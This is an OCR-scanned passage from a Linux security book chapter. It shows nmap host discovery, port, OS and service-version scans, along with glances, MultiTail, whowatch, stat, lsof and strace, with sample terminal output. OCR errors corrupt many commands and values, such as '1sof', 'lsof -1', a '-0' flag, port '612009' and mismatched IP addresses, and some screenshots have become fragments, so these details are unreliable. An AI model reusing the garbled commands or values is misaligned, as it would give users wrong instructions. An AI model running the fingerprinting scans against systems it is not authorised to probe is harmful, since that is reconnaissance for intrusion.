Nmap, short for network mapper, is a free and open source tool that monitors a network,
and it is the most versatile tool used by system/network administrators. Nmap can be used
to perform security scans, explore a network, find open ports on remote systems, and perform
network audits.

Getting ready

To show how Nmap works, we need a minimum of two systems to form a small network. On one
system, we will install the nmap package, while the other system will be used as a host to scan.

How to do it...

In this section, we will take a look at how to use Nmap to perform different types of scans.

1. The first step will be to install the nmap package if it is not installed already. To do so,
we use this command:

apt-get install nmap

We get the following output on running the preceding command:

root@tj-dev:~# apt-get install nmap
Reading package lists... Done
Building dependency tree

Reading state information... Done

The following NEW packages will be installed:

nmap
® upgraded, 1 newly installed, @ to remove and 341 not upgraded.
Need to get 1,623 kB of archives.

227




Security Monitoring and Logging

2.

5.

228

To perform a simple scan using Nmap, we can either use the hostname or the IP
address of the system we want to scan. The command to perform a simple scan
will be as follows:

root@tj-dev:~# nmap 192.168.1.185

Starting Nmap 5.21 ( http://nmap.org ) at 2016-02-18 10:04 IST
Nmap scan report for 192.168.1.105
Host is up (©.00054s latency).
Not shown: 996 filtered ports
STATE SERVICE
open Msrpc
open netbios-ssn
open microsoft-ds
open mysql
MAC Address: 90:00:4E:2F:AC:EF (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 4.76 seconds

In the preceding example, the IP address of the system we are scanning is
192.168.1.105. In the result of the scan, we can see that the target system
is running the MySQL database server on port 3306.

Nmap can also be used to scan our own system. To do so, we can run this command:

nmap localhost

We get the following output on running the preceding command:

root@tj-dev:~# nmap localhost

Starting Nmap 5.21 ( http://nmap.org ) at 2016-02-18 10:06 IST
Nmap scan report for localhest (127.0.8.1)

Host is up (0.000014s latency).

Not shown: 998 closed ports

PORT STATE SERVICE

53/tcp open domain

631/tcp open 1ipp

Nmap done: 1 IP address (1 host up) scanned in ©.17 seconds

If we want to scan more than one system with the same command, we can do so,
as shown here:

nmap 192.168.1.105 192.168.1.102




We can see the scan results of both the systems in the following output:

root@tj-dev:~# nmap 192.168.1.105 192.168.1.102

Starting Nmap 5.21 ( http://nmap.org ) at 2016-02-18 10:18 IST
Nmap scan report for 192.168.1.105

Host is up (©.00044s latency).

Not shown: 997 filtered ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 90:00:4E:2F:AC:EF (Unknown)

Nmap scan report for 192.168.1.102

Host is up (©.00058s latency).

All 1000 scanned ports on 192.168.1.102 are closed
MAC Address: 00:0C:29:35:02:9C (VMware)

Nmap done: 2 IP addresses (2 hosts up) scanned in 4.81 seconds
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We can use Nmap to scan a particular network and check which systems are up and

running in the network using the command given here:
nmap -sP 192.168.1.0/24

When we perform the scan using the -sP option, nmap skips port detection and
other things. It simply checks which systems are up and running in the network by

performing a simple ping.

root@tj-dev:~# nmap -sP 192.168.1.0/24

Starting Nmap 5.21 ( http://nmap.org ) at 2016-02-18 10:16 IST

Mmap scan report for 192.168.1.1

Host is up (0.054s latency).

MAC Address: C4:E9:84:C7:3A:F4 (Unknown)
Nmap scan report for 192.168.1.100

Host is up (@®.15s latency).

MAC Address: 1C:56:FE:07:9C:D5 (Unknown)
Nmap scan report for 192.168.1.101

Host is up.

Nmap scan report for 192.168.1.102

Host is up (0.00048s latency).

MAC Address: 00:8C:29:35:02:9C (VMware)
Mmap scan report for 192.168.1.103

Host is up (0.090s latency).
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If we want to limit our scan to a particular port only, we can tell nmap to scan that
port only using the -p option, as shown here:

root@tj-dev:~# nmap -p 22,80 192.168.1.102

Starting Nmap 5.21 ( http://nmap.org ) at 2016-02-18 10:35 IST
Nmap scan report for 192.168.1.102

Host is up (0.0047s latency).

PORT STATE SERVICE

22/tcp open ssh

80/tcp closed http

MAC Address: 00:0C:29:35:02:9C (VMware)

Nmap done: 1 IP address (1 host up) scanned in ©0.22 seconds

In the preceding example, we scan for port 22 and 80, the default port for the SSH
service and the HTTP (web server) service. As we can see in the preceding result,
the remote system is running SSH; however, the HTTP port is closed. Hence,

no web server is running.

While performing a scan of the target system, determining the operating system on
the system is very important as many exploits are available for a specific OS platform.
To know the OS of the target system, we use the -0 option, as shown here:

nmap -O 192.168.1.105

The result shown in the following image tells us that the target system is running the
Windows 7 Ultimate version:

Host script results:
| _nbstat: NetBIOS name: PC, NetBIOS user: <unknown=,
:4e:2f:ac:ef
smb-os-discovery:
0S: Windows 7 Ultimate 7600 (Windows 7 Ultimate 6.1)

System time: 2816-03-81 11:22:54 UTC+5.5
_smbv2-enabled: Server supports SMBv2 protocol

|
|
| Name: WORKGROUP\PC
|
|

HOP RTT ADDRESS
1 0.57 ms 192.168.1.1605

We have seen that using the -p option, we can check which particular port is open.
Now, let's suppose that the target system has port 22 open, which means that SSH is
running on the system. If we now want to check the version of the SSH service on the
remote system, we can use the -sVv option, as shown here:
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root@tj-dev:~# nmap -sv 192.168.1.102

Starting Nmap 5.21 ( http://nmap.org ) at 2016-02-18 10:49 IST
Nmap scan report for 192.168.1.102

Host is up (0.00081s latency).

Mot shown: 999 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.1p2 Debian 2 (protocol 2.8)
MAC Address: @0:0C:29:35:02:9C (VMware)
Service Info: 0S: Linux

When Nmap is simply run on an IP address, it does a basic scan and tells us which ports are
open on the target system. By knowing the open ports, we can identify the services running
on the system. In the same way, Nmap is used to scan the local system by providing the IP
address of the local system.

Nmap is used to scan multiple IP address at the same time by providing the IP addresses in
the same command. Also, Nmap is used to check which systems are up and running in the
network using the -sP option.

It is also used to scan for a particular port using the -p option and if the -0 option is used,
it fingerprints the target system to tell the operating system on which it is running.

Nmap is also used to do other things such as identify the software version of the services
running on the target system.

Using glances for system monitoring

For an administrator, system monitoring is also about monitoring the performance of the
system by checking the processes and services running on it. But with limited space on the
screen, it sometimes becomes difficult to have all the information. In such situations, we
would like to have a tool that can show us maximum information about the system, such as
CPU, disk I/0, memory, network and so on, in a limited space.

Even though we have individual tools to monitor this information, with Glances, an
administrator can see the maximum amount of information in the minimum amount of space.
It can adapt the information dynamically as per the size of the terminal window. Glances

can highlight programs that use the maximum amount of system resources.

Getting ready

If you are installing Glances on Ubuntu, then it is recommended that you use Ubuntu version
13.04 and above. For other versions of Linux, it is preferable to use the latest version. For our
example, we are using Kali Linux 2.0.
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How to do it...

To understand the workings of glances, we will follow the steps given here:

1. The first step is to install the package using this command:
apt-get install glances

2. After the installation has been completed, we have to edit the /etc/default/
glances file and change the value of the RUN variable to true, as shown here:

GNU nano 2.5.1 File: fetc/default/glances

"true' to have é s running at startup

Doing this will automatically run glances during the system startup.

3. To manually start the tool, simply run the glances command. You will get an output
window, as shown here:

Uptime: 2

LOAD

1 min:
5 min:
15 min:

oo ed

oo

0.
0.
0
0.
0.
0.
15,
0.
3.
0

[=]

Warning or critical alerts (one entry)
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In the preceding window, we can see different colors for the text displayed. The
meaning of these color codes in glances is defined as follows:

o Green: This means that all is OK

o Blue: This color says CAREFUL, attention is needed

o Violet: This color signifies WARNING

o Red: This refers to something being CRITICAL
The color codes work on the basis of the default thresholds defined in the

configuration file of glances. We can change these threshold values by editing
the /etc/glances/glances. conf file.

By default, glances refreshes the value at a time interval of 1 second. We can change
this value when running glances using the -t option followed by the time in seconds:

glances -t 5

At times, we may not be able to physically access our system, but we still want to
monitor the performance of the system. Glances can help us do this remotely.
For this, we first need to enable the client/server mode of Glances on our system
using the -s option and also bind it to the IP address of the system using the -B
option, as shown here:

:~# glances -s -B 19

Glances server is running on
]

Now the glances server is running on the system whose IP address is 192.168.1.102,
and by default, it runs on port 612009. If prompted for a password when enabling the
client/server mode, define any password of your choice.

On the remote system where you want to access glances, run this command:
glances -c -P 192.168.1.102
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9. Once we run this command, we will get a window, as shown in the following
screenshot, where we'll see Connected to Kali - IP 192.168.1.102/24
in the top-left corner, which tells us that we are now accessing glances remotely:

Uptime

LOAD

1 min:

5 min:
fr ] G 15 min:

thr), 1 run,

10. For this command to work on the remote system, it is necessary to have glances
installed on this remote system as well.

After the installation of Glances, we enable its autorun during the system startup.

We run it using the glances command, and we modify the threshold value for the color
codes by editing the /etc/glances/glances. conf file.

Using the -t option, we modify the refresh time interval, and using the -s option, we enable
the client/server mode of Glances, which is then accessed remotely on other systems using
the -c option and the IP address of the system on which Glances is running.

Monitoring logs using MultiTail

For any system administrator, monitoring log files is a very tedious task, and if we have to refer
to more than one log file at the same time to troubleshoot any issue, it becomes even more
difficult to keep switching between logs.

For such situations, we can use the MultiTail tool, which can help us to take a look at multiple
log files in real time. Using MultiTail, we can display multiple log files in a single window or
shell, and it will show us the last few lines of the log file in real time.
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Getting ready

To use MultiTail, we don't have to set up anything in particular on our Linux system. Only the
multitail package needs to be installed. This can be done using this command:

apt-get install multitail

root@tj-dev:~# apt-get install multitail

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following NEW packages will be installed:
multitail

® upgraded, 1 newly installed, ® to remove and 341 not upgraded.
Need to get 141 kB of archives.

How to do it...

Once the MultiTail tool has been installed, we can start using it as per our requirements using
these commands:

1. If we want to view two log files using multitail, we will run this command:
multitail /var/log/syslog /var/log/boot.log

tj-dev rtkit-daemon Demoting known real-time threads.
Feb 18 15:43:28 tj-dev rtkit-daemon Demoted © threads.
tj-dev rtkit-daemon The canary thread is apparently starv
ing. Taking action.
Feb 18 15:44:13 tj-dev rtkit-daemon Demoting known real-time threads.
tj-dev rtkit-daemon Demoted ® threads.
Feb 18 15:47:16 tj-dev rtkit-daemon The canary thread is apparently starv
ing. Taking action.
tj-dev rtkit-daemon Demoting known real-time threads.
Feb 18 15:47:16 tj-dev rtkit-daemon Demoted ©® threads.

Starting ACPI daemong
* Starting anac(h)ronistic cron 94G[ OK
* Starting save messagesyifll 94G] OK
* Starting automatic crash report generationm 94G[ 0K
* Starting regular background program processing daemonm 94G[ OK
* Starting deferred execution schedulerm 924G OK
* Stopping save messagesiIl[94G[ OK
* Starting CPU interrupts balancin daemonm 94G[ OK
* Starting LightDM Display Manager 94G[ OK
*
*
1

Stopping Send an event to indicate plymouth is upm 94G[ 0K
Starting crash report submission daemonid§ 94G| OK
©1] /var/log/boot.log 3KB - 2016/02/18 16:08:39

We can see that the screen has been split into two parts, each displaying the content
of individual log files.
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2.

3.

4,

*
it
*
*

0K

*

0K

*

rat
*

pro

If we want to scroll through the two files that are open, just press b and a menu will
pop up, as shown in the following screenshot. From the list, we can select the file
we want to monitor in detail:

5 —
select window

80 Jvar/log/syslog

@1 /var/log/boot. log

e —————

In the new window that opens up, press gg or G to move to the top or bottom of the
scroll window. To exit from the scroll window, press q.

If we want to view three log files in two columns, we can use this command:

multitail -s 2 /var/log/boot.log /var/log/syslog /var/log/auth.log

Starting System V runlevel compatibifffeb 18 15:44:13 tj-dev rtkit-daemon
vl 94G] ok Demoting known real-time threads.
Starting ACPI daemon[J{[94G[ OK tj-dev rtkit-daemon
starting anac(h)ronistic cronfJ94G Demoted @ threads.
Feb 18 15:47:16 tj-dev rtkit-daemon
Starting save messagesﬂﬂ 924G The canary thread is apparently starv
ing. Taking action.
Starting automatic crash report gene tj-dev rtkit-daemon[1715
ionJir 946 ok Demoting known real-time threads.
Starting regular background program Feb 18 15:47:16 tj-dev rtkit-daemon[1715
cessing daemonJ{[94G[ oK Demoted @ threads.

* Starting deferred execution schedule)
rm 94G[ 0K ix(su:session): session opened for user

*

0K

Stopping save messages[Ji 94G[root by tajinder(uid=1060)
Feb 18 15:17:01 tj-dev CRON[13758 EL

* Starting CPU interrupts balancing daunix(cron:session): session opened for u
emonl@l[ 94G[ OK ser root by (uid=0)
* Starting LightDM Display Managerm 9 tj-dev CRON[13758 pam_|

4G

oK unix(cron:session): session closed for u

* Stopping Send an event to indicate pfser root
lymouth is upm 94G[ OK Feb 18 15:52:43 tj-dev gnome-screensaver
* Starting crash report submission daell-dialog: gkr-pam: unlocked login keyring

00 ]

Jvar/log/boot.log *Press F1/<CTRL=>+ 02] /var/log/auth.log *Press F1/<CTRL>+<
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The preceding screenshot shows the three log files in two columns.

MultiTail allows us to customize the color for individual log files as we open them while
merging both of them in the same window. This can be done using this command:

multitail -ci yellow /var/log/auth.log -ci blue -I /var/log/boot.
log
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e8] fvar/log/boot.log *Press F1/<CTRL=+<h> for help*

3KB - 2016/02/18 16:29:14

When we provide the names of the two log files to MultiTail on the same command line,
it opens the two files in the same screen by splitting them into two parts.

To view more than two log files using MultiTail, we specify the number of columns in which
the screen should be split using the -s option followed by the number of columns.

MultiTail also allows us to view multiple log files in the same screen without splitting the
screen by differentiating the files on the basis of color. The color can be customized using
the -c1i option.

Using system tools - Whowatch

While keeping a watch on the network, an administrator would also want to keep a watch on
users who are currently logged on to the system and also check what each user is doing on
the machine.

Whowatch is the perfect tool for all these tasks. It uses a simple text-based interface, which is
easy to use and can display information about a username, user process, and also the type of
connection being used, such as SSH and telnet.
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Getting ready

Since Whowatch doesn't come as a preinstalled package in Linux, we have to install it to use
it. The command to install Whowatch is as follows:

apt-get install whowatch

root@tj-dev:~# apt-get install whowatch

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following NEW packages will be installed:
whowatch

® upgraded, 1 newly installed, ® to remove and 341 not upgraded.
Need to get 37.4 kB of archives.

How to do it...

To utilize the Whowatch tool to its maximum benefit, we have to understand the details of the
tool properly:

1. To start using the tool, just enter the whowatch command and a screen will appear,
as shown here:

(init tajinder pts/o :1
(lightdm) tajinder tty7
(init) tajinder ptsf1 :1

The preceding screen lists all the user accounts that are logged in.

2. From the list, we can select any user account, and when we press Enter, we can see
information about all the programs that a user is running.

tajinder ptsjfo :1
- gnome-terminal
14525 bash
11936 bash

11991 su

11999 bash

14610 whowatch
11935 gnome-pty-helper
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On the same screen, we have more options at the bottom, using which we can get

more information about the user and also the programs that have been run by them,

as shown here:

e

On the main screen of Whowatch, we can see a menu at the bottom.

5. We can see here that we have to use the F9 key to access the Menu options.

6. Once we press F9, we see a menu on the top of the screen. Use the arrow keys on
the keyboard to move through the menu. When we select the Process tab, we get a
submenu, which gives an option, called the KILL signal, to the running processes.
Similarly, we can see more options in the same submenu:

File

View

gnome-

Users

Help

gle owner
Toggle long
Signal list

Send KILL
Send HUP
Send TERM

7. When we move to the View tab, we get these options:

File m Process

All processes t

Users Ent
User proc Ent
Details d
Sysinfo s

Users
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8. The last tab is Help, under which we have the Keys option.

Keys
About
Copyright

9. When we click on Keys, it will open up a new window and show you details about the
keys to be used for different tasks, as shown here:

10. Press s to get more information about the system.
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11. If we press t, we get a list of all the processes on the system in a tree structure, which
we can see here:

: 0.00, 0.06, 0.10
108 processes
1 /sbin/init
13720 Jusr/lib/gvfs/gvfsd-metadata
12092 fusrflib/at-spi2-corefat-spi-bus-launcher
11926 gnome-terminal
11936 bash
11991 su
11999 bash
14629 whowatch -m
14610 whowatch
11935 gnome-pty-helper
11859 Jusr/bin/python fusr/lib/unity-scope-video-remote/unity-scope-video
11845 Jusrflib/unity-lens-music/unity-musicstore-daemon
11798 Jusr/bin/python fusr/lib/unity-lens-video/unity-lens-video
11796 Jusr/lib/unity-lens-music/unity-music-daemon
11794 Jusr/libfunity-lens-files/unity-files-daemon
11792 Jusr/lib/unity-lens-applicationsfunity-applications-daemon
11790 Jusr/lib/indicator-appmenu/hud-service

Whowatch can be started by simply typing whowatch in the command line. When it starts,
it shows a list of usernames that are logged in. Just press Enter on any username to get
information about all the programs running under that user.

To access more options in Whowatch, we enter the Main menu by pressing F9 key. We then
get various tabs such as Process, View, Users, Help, and so on.

The Process tab gives options to manage processes, while the View tab gives options to
search and view the processes. The Help tab has an option to see the keys that can be
used in Whowatch as shortcuts.

We use different keys to access system information and get a list of all the processes.

Using system tools - stat

While working on Linux, the most commonly used command is 1s, which gives a listing of the
files in the directory we specified. However, it shows only a little information about the files.

Instead, if we use the stat command, we can get more information about the files/
directories when compared to using 1s. Because stat is able to get information about
a file from its node, it is able to give more information about the files.
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Getting ready

Since stat is a built-in command of Linux, nothing else is needed to be installed in order

to use it.

How to do it...

This section will explain the options and usage of the stat command. Using stat, we will can

get the detailed status of a particular file or filesystem.

1. Suppose we have a file called example . txt. When we perform a long-listing of this
file using the 1s -1 command, we get information about the file, which includes

when the file was last modified.

However, when we use the stat command to check the details of the same file,
it shows extra information about the file, and the difference can be seen here:

root@tj-dev:~# 1ls -1 example.txt
-rwW-r--r-- 1 root root 20 Feb 18 18:20 example.txt
root@tj-dev:~# stat example.txt
File: “example.txt’
: 20 Blocks: 8 I0 Block: 4096
: 801h/2049d Inode: 1341607 Links: 1

(0644/-rw-r--r--) Uid: ( e/ root) Gid: (
. 2016-02-18 18:20:13.058859554 +0530
. 2016-02-18 18 :23.030860058 +0530
: 2016-02-18B 18:20:23.030860058 +0530

regular file

e/ root)

2. Inthe preceding output, we can see that the Modify and Change time are same. But
the access time has changed. It also shows the permissions in both the octal and

rwx formats. Many other details are also shown.

3. Now, let's rename the file as sample. txt. After this, if we check the details of
sample. txt file using stat, we can see that the Change time has been updated:

root@tj-dev:~# mv example.txt sample.txt
root@tj-dev:~#
root@tj-dev:~# stat sample.txt
“sample. txt'
: 20 Blocks: 8 I0 Block: 4096

: 801h/2049d Inode: 134187 Links: 1
(e644/-rw-r--r--) Uid: ( e/ root) Gid: (

: 2016-02-18 18:20:13.058859554 +0530

: 2016-02-18 18:20:23.030860058 +0530

: 2016-02-18 18:27:06.542880445 +0530
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4. Let's suppose we have three files, sample. txt, samplel.txt, and sample2.
txt. If we want to check the details of each of these files, we can either use stat
individually with each file, or else we can use wildcards with stat to show the
details of all three files in a group, as shown here:

root@tj-dev:~# stat sample*
“samplel. txt’

: 20 Blocks: 8 10 Block: 4096 regular file
: 801h/2049d Inode: 172968 Links: 1

: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( e/ root)
: 2016-02-18 18:32:12.174895886 +0530

: 2016-02-18 18:32:12.174895886 +0530

: 2016-02-18 18:32:12.174895886 +0530

“sample2. txt'
H] Blocks: 8 10 Block: 4096 regular file
: 801h/2049d Inode: 172969 Links: 1

: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( e/ root)
: 2016-02-18 18:32:15.706896065 +0530

: 2016-82-18 18:32:15.706896065 +0530

: 2016-02-18 18:32:15.706896065 +0530

“sample. txt'

1 20 Blocks: 8 10 Block: 4096 regular file
: 801h/20849d Inode: 134107 Links: 1

: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
: 2016-02-18 18:32:12.174895886 +0530

: 2016-02-18 18:20:23.030860058 +0530

: 2016-02-18 18:27:06.542880445 +0530

5. We can use the stat command to check the details of the directories as well:

root@tj-dev:~# stat test
File: “test'

: 4096 Blocks: 8 10 Block: 4896 directory
: 801h/2e049d Inode: 172978 Links: 2
: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
: 2016-82-18 18:36:22.586908538 +0530
: 2016-02-18 18:36:16.514908231 +0530
: 2016-02-18 18:36:16.514908231 +0530

6. Inthe case of the directory, we can see an extra detail about the number of links.

7. If we use the stat command for any default directory of Linux, such as /etc/,
we can see that we get a big value for the number of links:

root@tj-dev:/# stat etc
“etc'
12288 Blocks: 24 10 Block: 4096 directory
: 801h/2049d Inode: 131073 Links: 131

(0755/drwxr-xr-x) Uid: ( o/ root) Gid: ( e/ root)
: 2016-02-18 15:09:12.230280519 +0530
: 2016-02-18 15:17:24.602305395 +0530
: 2016-02-18 15:17:24.602305395 +0530
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8. If we want to see the details of a filesystem, we can't use 1s for this. However, stat
works on a filesystem as well. We get the same kind of details as filesystems and files:

root@tj-dev:/# stat fdev/sdaz
: " /dev/sda2’
0

Blocks: @ I0 Block: 4096 block special file
: 5h/s5d Inode: 7386 Links: 1 Device type: 8,2

: (8660/brw-rw----) uUid: ( a/ root)  Gid: ( 6/ disk)

: 2016-03-01 02:35:27.114021189 +0530

: 2016-03-01 02:35:27.114021189 +0530

: 2016-03-01 02:35:27.114021189 +0530

9. If we use the - £ option with the stat command while checking the details of
filesystem, it will display the status of the filesystem.

root@tj-dev:/# stat -f /dev/sda2z
File: "/dev/sda2"
ID: @ Namelen: 255 Type: tmpfs

Block size: 4096 Fundamental block size: 4096
Blocks: Total: 61041 Free: 61040 Available: 61040
Inodes: Total: 61041 Free: 66592

We use the stat command to get detailed information about a file. When a file is renamed,
stat tells us the time that the change was made. It also gives information about multiple
files at the same time using wildcards with the stat command.

stat works on directories and filesystems as well. In the case of a filesystem, stat can
display its status using the - £ option.

Using system tools - Isof

At times, we may face situations where we are unable to unmount a disk due to the fact that
some files are being used. However, we may not be able to understand which file is being
referred to. In such situations, we can check which files are being opened by which processes
running on the system.

This can be done using the Isof command, which stands for List Open Files. Since Linux
considers everything, such as directories, devices, sockets, and so on, as a file, we can use
1sof to easily identify all the open files.

Getting ready

To use the 1sof command, it is recommended that you are logged in from root account, or else,
use sudo from a nonroot account so that the output of the 1sof command is not limited.
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How to do it...

In this section, we will explore the different options that can be used with the 1sof command
to understand how it works.

1.

2.

If we just run 1sof, it will list all the open files that belong to any active process on
the system. If the output is long, we can use the 1ess command to scroll through
the output:

lsof | less

The output that is displayed is shown in columns, such as COMMAND, PID, USER, FD,
TYPE, DEVICE, and so on, for better understanding of the files.

The FD column has information about file descriptions such as the current working
directory (cwd), root directory (rtd), program text (txt), and so on. If the FD column
contains information such as 0u, 1u, and so on; the number signifies the actual file
descriptor and the letter signifies different modes (read access, write access, and
read/write access).

USER FD TYPE DEVICE SIZE/OFF NODE N

root cwd DIR 8,1 4096 2/

root rtd DIR 8,1 4096

root txt REG - 194528

root mem REG 47048 263216 i 6-1inux-gnu/libnss file|
root mem REG \ 134344 i 86-1inux-gnu/1d-2.15.50
root Bu CHR ’ ote

root 1u CHR ’ ote

root 2u CHR ’ otoe

root 3r FIFO B, oto 55

root Aw FIFO B, otoe 559 pipe
root 5r Beee B, E anon_inode

root 6r Beee E 5603 anon_inode

root Tu unix socket

root 8w REG 8,1 2 220 fvar/leg/upstart/dbus.log
root u unix Gxdb3dd44e 2 socket

To check the list of all open files for a particular user, we use the -u option followed
by the username:

lsof -u tajinder

11583 tajinder anon_1inode
11583 tajinder 0,9 anon_1inode
11583 tajinder 0xdd3fd2ee socket
11583 tajinder 0,9 anon_inode
11583 tajinder 0,9 anon_inode
11583 tajinder Oxdd3ffcco socket
11583 tajinder oxdd3fcfco socket

11583 tajinder 0,8 pipe

11583 tajinder 0,8 pipe

11583 tajinder Oxdc32f180 socket
11583 tajinder 0xdc32f600 socket
11583 tajinder Oxdc32f3co socket
11583 tajinder Oxdc32e640 socket
11583 tajinder Oxdc32e880 socket
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3. Using 1sof we can check whether there are any processes running on a particular
port. To do so, we have to use the -i option and run this command:

lsof -i TCP:22

root@tj-dev:~# lsof -1 TCP:22
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME

sshd 15455 root 3u IPv4 100126 0te TCP *:ssh (LISTEN)
ﬁshd 15455 root 4u IPv6 100128 @t® TCP *:ssh (LISTEN)

4. Inthe preceding example, we checked for a list of running processes on port 22, and
we saw that the SSH process was running.

5. If we want to check the exact number of open files on the system, we can run
this command:

tajinder@tj-dev:~$ lsof | wc -1
5220

In the preceding example, there are lots of open files, 5220 to be specific.

6. To check which user is looking at what file and which commands are being run by the
user, we can use this command:

lsof -i -u tajinder

root@tj-dev:~# 1sof -1 -u tajinder
PID USER FD TYPE DEVICE SIZE/OFF NAME
777 EVELNE 13u IPv4 8233 ate *:mdns
777 avahi 14u IPv6 8234 ate *:mdns
777 avahi 15u IPv4 8235 ote *:52037
777 EVELLS 16u IPv6 8236 ote *:38863
788 root 8u IPv4 8572 ate localhost:ipp (LISTEN)
1045 root 6u IPv4 2086 ete *:bootpc
1367 nobody 4qu IPv4 10188 otoe localhost:domain
1367 nobody S5u IPv4 10189 ate localhost:domain (LISTE

1367 nobody 16u IPv4 101323 ote *:43050
1367 nobody 11u  IPv4 101327 0te EER 23S
4832 glance 4qu IPv4 20212 ote *:9292 (LISTEN)
4901 glance 4qu IPv4 20463 0te *:9191 (LISTEN)

We have many more options while using 1sof, which can be explored by referring to the man
page of the 1sof command.
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Running the 1sof command shows a listing of all the open files on the system. Using the -u
option and specifying the username, we get a list of open files for a particular user.

When we use the -1 option and specify a port number, we get information about any process
running on that port.

When we use both the -i and -u options with a particular username, we get information
about the files and commands being accessed by that user.

Using system tools - strace

When running any command or program on our Linux machine, you might wonder what the
background working of it is. For this, we have a very useful tool in Linux called strace.

This a command-line tool that can be also used as a diagnostic or debugging tool. strace
monitors the interaction between processes and the Linux kernel and is helpful when we
want to debug the execution of any program.

Getting ready

This tool is available for all Linux-based systems by default. Hence, nothing else needs to be
configured to start using strace.

How to do it...

Let's see how strace can be used in various ways to trace the execution of any program from
start to end.

1. To trace the execution of any executable command in Linux, simply run the strace
command followed by the executable command. If we use strace for the 1s
command, we get this output:

root@t]j-dev:~# strace ls
execve("/binfls", ["1s"], [/* 39 vars */]) =0
brk({a) = Bx81d7000
access("fetc/1d.so.nohwcap”, F_OK) = -1 ENOENT (Mo such file or directory)
8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_AMONYMOUS, -1, 0) = 8xb77cfooe

cf/ld.so.preload", R_OK) = -1 ENOENT (Mo such file or directory)
tc/1d.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=5_IFREG|0644, st_size=62788, ...}) =0
mmap2(NULL, 62788, PROT_READ, MAP_PRIVATE, 3, 8) = Oxb77bfpoo
close(3) =8
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2. Inthe preceding screenshot, the output displayed has been truncated. If we check
the last few lines of the output, we see some write system calls where the listing of
the current directly has been displayed:

fstat64(1, {st_mode=S_IFCHR|®620, st_rdev=makedev(136, @), ...}) =0

mmap2(NULL, 4896, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, @) = Bxb7773000

write(1l, "Desktop Documents Downloads e"..., 91Desktop Documents Downloads examples.desktop Music
Pictures Public Templates Videos

) =91

close(1)
munmap(Bxb777a000, 4896)
close(2)

exit_group(@)

3. To check the listing, we can run 1s alone in the same directory, and we'll see the
same listing that we saw in the previous image:

root@tj-dev: /home/tajinder# 1s
Desktop Documents Downloads examples.desktop Music Pictures Public Templates Videos
root@tj-dev: /home/tajinder# I

4. If we want to have a statistical summary of the strace command to be displayed in
a neat manner, we can use the -c option:

strace -c 1ls

When the preceding command is run, we get the following output:

root@tj-dev: /home/tajinder# strace -c s
Desktop Documents Downloads examples.desktop Music Pictures Public Templates Videos
seconds usecs/call errors syscall

. B0EAEE
. B0EAEE
.B0EOEO
.B0EOEO
.B0EOEO
.B0EAEO
.B0EAEO
.B0EAEO
.B0EAEO
Nclolelolel]
Nclolelolel]
Nclolelolel]
Nclolelolel]
. BOBOEE
. BOBOEE

write

open

close
execve
access

brk

ioctl

muUnmap

uname
mprotect
rt_sigaction
rt_sigprocmask
getrlimit
mmap2

(0]
(0]
(0]
(0]
(0]
(0]
(0]
(0]
(0]
0]
0]
0]
0]
0]
<]

DD
LA b ek P WD b Ll P L WD e L D =R WD

P
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5. We can also display the timestamp at the start of each output line using
the -t option:

root@tj-dev: /hom inder# strace -t 1s

20:39:30 execve("/bin/ls", ["1s"], [/* 39 vars */]}) = ©
20:39:30 brk(e) = Bx8462000
39:30 access("/etc/ld.so.nohwcap”, F_OK) = -1 ENOENT (Mo such file or directory)
39:30 mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, @) = 6xb778f600
39:36 fetc/ld.so.preload”, R_OK) = -1 ENOENT (Mo such file or directory)
B open("/etc/ld.so.cache”, O_RDONLY|0_CLOEXEC) = 3
B fstat6d(3, {st_mode=S_IFREG|B644, st size=62788, ...}) =0
B mmap2(NULL, 62788, PROT_READ, MAP_PRIVATE, 3, 8) = Oxb777foee
B close(3) =
B access("/etc/ld.so.nohwcap”, F_OK) = -1 ENOENT (Mo such file or directory)
130 open("/lib/1386-1inux-gnu/libselinux.so.1", O _RDONLY|O_CLOEXEC) = 3

6. The default strace command displays all the system calls made by the executable
program. If we wish to show only a specific call, we can use the -e option. So,
if we want to see only the open system call of the 1s command, we have to run
this command:

strace -e open 1ls

When the preceding command is run, we get the following output:

root@tj-dev: /home/tajinder# strace -e open ls
open(" fetc/1d.so.cache", O_RDONLY|O_CLOEXEC) = 3
open("/1ib/1386-1inux-gnu/libselinux.s0.1", O_RDONLY|O_CLOEXEC) = 3
open(" /1ib/1386-1inux-gnu/librt.so.1", O_RDONLY|O_CLOEXEC) = 3
open(" /1ib/1386-1inux-gnu/libacl.so.1", O_RDONLY|Q_CLOEXEC)

open(" /1ib/1386-1inux-gnu/libc.s0.6", O_RDONLY|O_CLOEXEC) =

=3
=

open(" /1ib/1386-1inux-gnu/libdl.s0.2", O_RDONLY|O_CLOEXEC) = 3

open(" /1ib/1386-1linux-gnu/libpthread.so.®", O_RDONLY|O_CLOEXEC) = 3

open(" /1ib/1386-1linux-gnu/libattr.so.1", O_RDONLY|O_CLOEXEC) = 3

open(" fproc/filesystems", O_RDONLY|O_LARGEFILE) = 3

open(" fusr/lib/locale/locale-archive", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
Desktop Downloads Music Pictures Templates

Documents examples.desktop _output Public Videos

7. If we wish to save the output of the strace command in a file for the purpose of
viewing it later, we can do so using the -o option:

strace -o output.txt 1ls
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Here, output . txt is the name of the file that will be created to save the output of
the strace command:

root@tj-dev: fhome/tajinder# strace -o output.txt 1s

Desktop Downloads Music Pictures Templates

Documents examples.desktop output.txt Public Videos

root@tj-dev: fhome/tajinder# cat output.txt

execve("/binfls", ["1s"], [/* 39 vars */]) = @

brk(e) = 0x8dbcoBe
access("/etc/1ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)

